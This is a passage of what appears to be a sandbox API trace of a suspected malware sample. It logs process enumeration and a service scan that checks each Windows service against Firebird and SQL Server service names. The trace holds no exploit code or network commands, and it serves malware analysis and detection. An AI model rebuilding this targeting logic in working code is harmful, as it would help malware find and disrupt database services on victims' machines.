cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0061.921] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0061.921] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.921] lstrlenW (lpString="conhost.exe") returned 11 [0061.921] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1204, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.922] lstrlenW (lpString="conhost.exe") returned 11 [0061.922] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.923] lstrlenW (lpString="conhost.exe") returned 11 [0061.923] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.923] lstrlenW (lpString="svchost.exe") returned 11 [0061.923] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0061.924] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0061.924] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.924] lstrlenW (lpString="svchost.exe") returned 11 [0061.924] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.925] lstrlenW (lpString="cmd.exe") returned 7 [0061.925] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0061.925] CloseHandle (hObject=0x2f4) returned 1 [0061.926] Sleep (dwMilliseconds=0x1f4) [0063.650] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ceea0 [0063.650] EnumServicesStatusExW (in: hSCManager=0x4ceea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0063.651] GetLastError () returned 0xea [0063.651] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4eeb48 [0063.651] EnumServicesStatusExW (in: hSCManager=0x4ceea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4eeb48, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4eeb48, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0063.652] CloseServiceHandle (hSCObject=0x4ceea0) returned 1 [0063.652] lstrlenW (lpString="Appinfo") returned 7 [0063.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.652] lstrlenW (lpString="AppXSvc") returned 7 [0063.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0063.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0063.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0063.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0063.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0063.652] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.652] lstrlenW (lpString="Audiosrv") returned 8 [0063.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0063.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0063.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0063.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0063.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0063.653] lstrlenW (lpString="BFE") returned 3 [0063.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.653] lstrlenW (lpString="BITS") returned 4 [0063.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0063.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0063.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0063.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0063.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0063.653] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0063.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0063.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0063.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0063.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0063.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0063.653] lstrlenW (lpString="CDPSvc") returned 6 [0063.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0063.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0063.653] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0063.653] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0063.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0063.653] lstrlenW (lpString="ClickToRunSvc") returned 13 [0063.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0063.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0063.653] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0063.653] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0063.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0063.653] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0063.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0063.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0063.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0063.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0063.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0063.654] lstrlenW (lpString="CryptSvc") returned 8 [0063.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.654] lstrlenW (lpString="DcomLaunch") returned 10 [0063.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.654] lstrlenW (lpString="DeviceAssociationService") returned 24 [0063.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0063.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0063.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0063.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0063.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0063.654] lstrlenW (lpString="Dhcp") returned 4 [0063.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.654] lstrlenW (lpString="Dnscache") returned 8 [0063.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.655] lstrlenW (lpString="DoSvc") returned 5 [0063.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0063.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0063.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0063.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0063.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0063.655] lstrlenW (lpString="DPS") returned 3 [0063.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.655] lstrlenW (lpString="DusmSvc") returned 7 [0063.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0063.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0063.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0063.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0063.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0063.655] lstrlenW (lpString="EventLog") returned 8 [0063.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0063.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0063.655] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0063.655] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0063.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0063.655] lstrlenW (lpString="EventSystem") returned 11 [0063.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.655] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.656] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.656] lstrlenW (lpString="FontCache") returned 9 [0063.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0063.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0063.656] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0063.656] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0063.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0063.656] lstrlenW (lpString="gpsvc") returned 5 [0063.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.656] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.656] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.656] lstrlenW (lpString="iphlpsvc") returned 8 [0063.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.656] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.656] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.656] lstrlenW (lpString="KeyIso") returned 6 [0063.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0063.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0063.656] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0063.656] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0063.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0063.656] lstrlenW (lpString="LanmanServer") returned 12 [0063.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.657] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.657] lstrlenW (lpString="lfsvc") returned 5 [0063.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0063.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0063.657] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0063.657] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0063.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0063.657] lstrlenW (lpString="lmhosts") returned 7 [0063.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.657] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.657] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.657] lstrlenW (lpString="LSM") returned 3 [0063.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0063.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0063.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0063.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0063.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0063.657] lstrlenW (lpString="MapsBroker") returned 10 [0063.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0063.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0063.657] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0063.657] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0063.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0063.657] lstrlenW (lpString="MpsSvc") returned 6 [0063.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.658] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.658] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.658] lstrlenW (lpString="NcbService") returned 10 [0063.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0063.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0063.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0063.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0063.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0063.658] lstrlenW (lpString="netprofm") returned 8 [0063.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.658] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.658] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.658] lstrlenW (lpString="NlaSvc") returned 6 [0063.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.658] lstrlenW (lpString="nsi") returned 3 [0063.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.658] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.658] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.658] lstrlenW (lpString="PcaSvc") returned 6 [0063.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.658] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.658] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.658] lstrlenW (lpString="PlugPlay") returned 8 [0063.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.659] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.659] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.659] lstrlenW (lpString="Power") returned 5 [0063.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.659] lstrlenW (lpString="ProfSvc") returned 7 [0063.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.659] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.659] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.659] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.659] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.659] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.659] lstrlenW (lpString="RpcSs") returned 5 [0063.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.659] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.659] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.659] lstrlenW (lpString="SamSs") returned 5 [0063.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.659] lstrlenW (lpString="Schedule") returned 8 [0063.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.660] lstrlenW (lpString="SecurityHealthService") returned 21 [0063.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0063.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0063.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0063.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0063.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0063.660] lstrlenW (lpString="SENS") returned 4 [0063.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.660] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.660] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.660] lstrlenW (lpString="Spooler") returned 7 [0063.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.660] lstrcmpiW 